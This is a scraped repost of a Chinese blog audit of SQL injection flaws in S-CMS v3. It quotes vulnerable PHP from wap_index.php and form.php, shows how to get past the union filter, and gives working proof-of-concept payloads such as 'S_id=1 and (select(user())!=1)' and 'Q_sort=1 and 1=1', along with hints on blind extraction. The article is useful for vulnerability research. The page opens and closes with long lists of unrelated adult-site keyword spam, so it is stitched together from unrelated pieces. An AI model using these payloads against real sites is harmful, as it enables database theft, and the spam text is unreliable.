婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av

主頁 > 知識庫 > 詳解S-CMS企業建站v3幾處SQL注入

詳解S-CMS企業建站v3幾處SQL注入

熱門標簽:貴陽ai外呼系統 電話機器人批發 重慶人工智能電銷機器人報價 智能電銷機器人廣告語 長春極信防封電銷卡公司 crm外呼系統好不好 愛巢地圖標注 強訊外呼系統 電銷外呼線路改不外呼線路

0x01 前言

有段時間沒有發文章了,主要沒挖到比較有意思的漏洞點。然后看最近爆了很多關于S-CMS的漏洞,下載了源碼簡單挖了一下然后給大家分享一下。

0x02 目錄

Wap_index.php sql注入Form.php Sql注入Input、query

0x03 插曲

這里分享一下在審計的時候自用的一段代碼。

 $debug=function(){
      $logFile='C:\\Users\\DELL\\Desktop\\debug.txt';   //輸出的文件
      $param=func_get_args();           //獲取傳入函數的參數
      if (count($param)>0){              
        $str=serialize($param);           //序列號
        if($str){                  //存在就寫入
          $str=file_get_contents($logFile)."\r\n\r\n".__FILE__.":\t\t".$str;
          file_put_contents($logFile,"\t\t".$str);
        }else{                 //不存在寫入Null
          $str=file_get_contents($logFile)."\r\n\r\n".__FILE__.":\r\n".$str;
          file_put_contents($logFile,"\t\tNull");
        }
      }
    };$debug($x,$a,$b);   //這里$x,$a,$b都是要查看的變量。

主要用這個的話個人感覺比較方便,平常測試都是var_dump();die;來查看。然后當die后,頁面還是沒有打印內容,用這個函數還是相對比較方便的。當然用phpstorm下斷點挺好的,不過個人不太喜歡。主要還是我懶。

0x04 Wap_index.php sql注入

漏洞文件:\scms\wap_index.php這個文件的話不止這一處Sql注入,這里只寫這一個。漏洞行號:90-96

case "text":
  $debug("select * from SL_text where T_id=" . $S_id, "T_title");
  if (getrs("select * from SL_text where T_id=" . $S_id, "T_title") == "") {
    box("菜單指向的簡介已被刪除,請到“菜單管理”重新編輯", "back", "error");
  } else {
    $page_info = ReplaceLableFlag(ReplaceWapTag(CreateHTMLReplace(CreateText(ReplaceWapPart(LoadWapTemplate($style, $S_id)) , $S_id))));
  }
  break;

S_id直接從GET獲取無單引號拼接進了sql語句

if(isset($_GET["S_id"])){
  $S_id = $_GET["S_id"];
}else{
  $S_id = "0";
}

這套CMS核心全帶全都加密處理了所以我們看不到他的過濾方法,不過當出現 union select 等的時候都直接退出了,沒有繼續往下執行。研究發現當傳入select(user())能正常執行,不過嘗試union(select(1)) 的時候也沒有執行,應該是直接正則匹配的union這個單詞,而select匹配了前后的空格。

漏洞演示:

$debug保存下來的信息。

D:\phpStudy\PHPTutorial\WWW\scms\wap_index.php: a:2:{i:0;s:58:"select * from SL_text where T_id=1 and (select(user())!=1)";i:1;s:7:"T_title";}

Mysql.log

正常執行了sql語句。S_id=1 and (select(user()) from sl_reply 同樣可以正常執行,可通過盲注爆數據。

0x05 Form.php Sql注入

漏洞文件:\scms\form.php

漏洞Action:input

if($action=="input"){
  if ($_POST["code"]!=$_SESSION["CmsCode"]){
    echo "<div style='height:500px'></div>";
    box(lang("驗證碼錯誤!/l/Verification code error"),"back","error");
  }else{
    $R_time=date('Y-m-d H:i:s');
    $R_rid=gen_key(15);
    foreach ($_POST as $x=>$value) {
    if ($x>0){
      if ($_POST[$x]==""){
        box(lang("請填全內容后提交!/l/Please fill in the full content to submit!"),"back","error");
        die();
      }else{
        if (!IsValidStr($_POST[$x])){
        box(lang("您輸入的內容有敏感字符,請重新輸入!/l/The contents you have entered are sensitive characters, please re-enter!"),"back","error");
        }else{
$debug("Insert into SL_response(R_cid,R_content,R_time,R_rid,R_member) values(".$x.",'".htmlspecialchars($_POST[$x])."','".$R_time."','".$R_rid."',".$M_id.")");
        mysqli_query($conn,"Insert into SL_response(R_cid,R_content,R_time,R_rid,R_member) values(".$x.",'".htmlspecialchars($_POST[$x])."','".$R_time."','".$R_rid."',".$M_id.")");
        }
      }
    }
    }
    if ($F_cq>0){
    mysqli_query($conn,"Insert into SL_query(Q_code,Q_content,Q_sort) values('".$R_rid."','".date('Y-m-d H:i:s')."__用戶提交表單,等待處理"."',".$F_cq.")");
    box(lang("提交成功,查詢碼 ".$R_rid."/l/success!code ".$R_rid.""),$C_dir.$url_to,"success");
  }else{
  box(lang("提交成功!/l/success!code ".$R_rid.""),$C_dir.$url_to,"success");
  }
    sendmail("您的網站有新的表單提交","<h2>您的網站“".lang($C_webtitle)."”有新的表單提交</h2><hr>請進入“網站后臺” - “表單系統” - “查看統計”查看詳情!",$C_email);

  }
}

這里簡單看些邏輯,先判斷code驗證碼是否錯誤,如果為False不錯誤,進入foreach循環,判斷$x(也就是 $_POST的key)>0這里就可以通過php弱類型比如1a>0 為True 這個不多介紹了,然后如果$_POST[$x] 不為空,繼續檢測$_POST[$x] 是否存在敏感字符,然后拼接sql語句。

整個流程就這樣了,漏洞觸發點就是$x,它檢測敏感字符只檢測了$_POST[$x]內容,而沒檢測$x,而且直接拼接入了sql語句導致SQL注入。

漏洞演示:

http://127.0.0.1/scms/form.php?action=input&S_id=0code=ywu7&1//and//(1//like//1)=121

$debug記錄

D:\phpStudy\PHPTutorial\WWW\scms\form.php: a:1:{i:0;s:147:"Insert into SL_response(R_cid,R_content,R_time,R_rid,R_member) values(1//and//(1//like//1),'121','2018-12-05 15:27:00','WjWEpX8YIK6cfeq',6)";}

漏洞文件:\scms\form.php

漏洞Action:query

if ($action=="query"){
$Q_sort=$_POST["Q_sort"];
$Q_code=$_POST["Q_code"];
  if ($_POST["code"]!=$_SESSION["CmsCode"]){
    echo "<div style='height:500px'></div>";
    box(lang("驗證碼錯誤!/l/Verification code error"),"back","error");
  }else{

    $sql="select * from SL_query where Q_sort=".$Q_sort." and Q_code like '".$Q_code."'";
    $result = mysqli_query($conn, $sql);
    $row = mysqli_fetch_assoc($result);

這個相對簡單不多說,$Q_sort從post獲取,無過濾直接拼接進sql語句導致sql注入。

Payload:http://127.0.0.1/scms/form.php?action=query&S_id=0code=t5o9&Q_sort=1 and 1=1

0x06 結束語

以上就是本文的全部內容,希望對大家的學習有所幫助,也希望大家多多支持腳本之家。

標簽:山南 內蒙古 陜西 廣安 上海 吳忠 清遠 保定

巨人網絡通訊聲明:本文標題《詳解S-CMS企業建站v3幾處SQL注入》,本文關鍵詞  詳解,S-CMS,企業建站,幾處,;如發現本文內容存在版權問題,煩請提供相關信息告之我們,我們將及時溝通與處理。本站內容系統采集于網絡,涉及言論、版權與本站無關。
  • 相關文章
  • 下面列出與本文章《詳解S-CMS企業建站v3幾處SQL注入》相關的同類信息!
  • 本頁收集關于詳解S-CMS企業建站v3幾處SQL注入的相關信息資訊供網民參考!
  • 推薦文章
    婷婷综合国产,91蜜桃婷婷狠狠久久综合9色 ,九九九九九精品,国产综合av
    久久99精品网久久| 国产成人av电影在线| www久久精品| 亚洲色图.com| 亚洲午夜电影在线观看| 懂色av一区二区三区免费观看| 亚洲激情五月婷婷| 99久久精品久久久久久清纯| 欧美精品黑人性xxxx| 亚洲高清三级视频| 日韩欧美在线123| 久久99久久99| 国产成人精品三级麻豆| 国产精品久久三| 欧美图区在线视频| 男人操女人的视频在线观看欧美| 欧美日韩mp4| 另类小说一区二区三区| 久久久影院官网| 91麻豆国产福利在线观看| 亚洲另类春色校园小说| 91黄色激情网站| 国产精品美女久久久久av爽李琼| 波多野结衣91| 日韩精品午夜视频| 日本一区二区三区国色天香 | 久久99国产精品麻豆| 成人黄色小视频| 中文字幕制服丝袜成人av| 色综合夜色一区| 日本韩国欧美三级| 国产精品国产馆在线真实露脸| 国内精品不卡在线| 亚洲精品欧美专区| 91精品视频网| 成人激情免费电影网址| 亚洲成人福利片| 日韩欧美一卡二卡| 在线免费精品视频| 色狠狠一区二区三区香蕉| 成人开心网精品视频| 奇米影视一区二区三区| 午夜激情久久久| 亚洲欧美一区二区不卡| 国产精品国产三级国产a | 99在线热播精品免费| 粉嫩一区二区三区性色av| 亚洲高清免费观看高清完整版在线观看| 51精品视频一区二区三区| 色婷婷av一区二区三区大白胸| 99精品欧美一区二区蜜桃免费| 99久久精品久久久久久清纯| 不卡电影一区二区三区| 国产乱子伦一区二区三区国色天香| 天天影视色香欲综合网老头| 久久国产尿小便嘘嘘| 成人永久aaa| 欧美日本在线一区| 日韩美女一区二区三区四区| 日韩欧美高清在线| 中文字幕av不卡| 中文字幕综合网| 免费黄网站欧美| 成人av在线资源网| 欧美一级一级性生活免费录像| 26uuu精品一区二区三区四区在线 26uuu精品一区二区在线观看 | 中文字幕中文字幕在线一区 | 99久久夜色精品国产网站| 91视视频在线观看入口直接观看www | 成人免费小视频| 裸体在线国模精品偷拍| 99久久99精品久久久久久 | 欧美日韩视频在线观看一区二区三区| 欧美日韩二区三区| 国产精品青草久久| 日韩国产欧美在线观看| 91亚洲资源网| 国产亚洲欧美中文| 亚洲国产成人porn| 一本久久a久久免费精品不卡| 国产亚洲欧美日韩日本| 久久99精品国产麻豆婷婷| 91精品蜜臀在线一区尤物| 亚洲国产精品人人做人人爽| 日本精品一区二区三区四区的功能| 中文字幕免费一区| a级精品国产片在线观看| 国产欧美日韩麻豆91| 99久久99久久久精品齐齐| 综合av第一页| 欧美午夜一区二区三区| 婷婷综合另类小说色区| 欧美一区二区三区不卡| 狠狠网亚洲精品| 中文字幕综合网| 777奇米成人网| 国产成人丝袜美腿| 亚洲综合在线第一页| 欧美一级日韩免费不卡| 国产一区二区三区四区在线观看| 久久久国产午夜精品| 欧美日本国产视频| 亚洲午夜久久久久久久久电影院| 91国产成人在线| 久久精品国产第一区二区三区| 久久天天做天天爱综合色| 成人激情黄色小说| 精品写真视频在线观看| 亚洲日本在线a| 中文字幕中文字幕在线一区| 欧美xxxxxxxx| 日韩一级片网址| 欧美美女黄视频| 99久久久免费精品国产一区二区| 亚洲成人午夜影院| 国产色一区二区| 精品毛片乱码1区2区3区| 欧美三级资源在线| 欧美日韩一区二区三区免费看| 成人免费观看男女羞羞视频| 国产美女久久久久| 国产麻豆精品95视频| 国产精品自在欧美一区| 狠狠色综合播放一区二区| 日韩vs国产vs欧美| 日韩 欧美一区二区三区| 日本中文字幕一区二区视频| 亚洲综合丝袜美腿| 看片网站欧美日韩| 美国毛片一区二区| 韩国视频一区二区| www.日韩在线| 91无套直看片红桃| 国产麻豆一精品一av一免费| 亚洲乱码国产乱码精品精可以看| 日本一区二区电影| 91在线看国产| 欧美激情在线免费观看| 日韩女同互慰一区二区| 26uuu精品一区二区在线观看| 久久久久国产一区二区三区四区| 亚洲国产成人自拍| 亚洲国产精品一区二区www| 美女脱光内衣内裤视频久久网站 | 久久久蜜臀国产一区二区| 精品国产制服丝袜高跟| 日韩理论片在线| 日韩1区2区日韩1区2区| 国产综合久久久久久鬼色| 91国偷自产一区二区三区成为亚洲经典| 91精品国产美女浴室洗澡无遮挡| 中文一区二区完整视频在线观看| 国产色综合一区| 亚洲国产aⅴ天堂久久| 国产91在线观看| 国产亚洲精品免费| 韩国成人精品a∨在线观看| 欧美一卡二卡在线| 蜜桃在线一区二区三区| 欧美一级日韩不卡播放免费| 五月婷婷激情综合| 久久综合色一综合色88| 久久疯狂做爰流白浆xx| 精品国产乱码久久久久久浪潮 | 精久久久久久久久久久| 欧美一级淫片007| 成人永久aaa| 亚洲制服丝袜一区| 精品国产区一区| 国产乱码精品一区二区三区av| 欧美成人伊人久久综合网| 大胆欧美人体老妇| 亚洲一区二区三区自拍| 久久综合狠狠综合久久综合88| 99久久久国产精品免费蜜臀| 亚洲激情五月婷婷| 中文字幕成人网| 欧美日韩成人综合| 成人一道本在线| 久久www免费人成看片高清| 自拍视频在线观看一区二区| a4yy欧美一区二区三区| 韩国精品在线观看| 精品日韩av一区二区| 粉嫩aⅴ一区二区三区四区五区| 亚洲最色的网站| 国产精品久久久久aaaa| 欧美精品一区二区三区久久久 | 一区二区三区视频在线看| 欧美日韩国产精品成人| 91麻豆蜜桃一区二区三区| 日韩电影在线观看网站| 丝袜亚洲精品中文字幕一区| 中文字幕亚洲欧美在线不卡| 精品成a人在线观看| 日韩欧美国产一区在线观看| yourporn久久国产精品| 不卡在线观看av| 91黄色免费看| 欧美色中文字幕|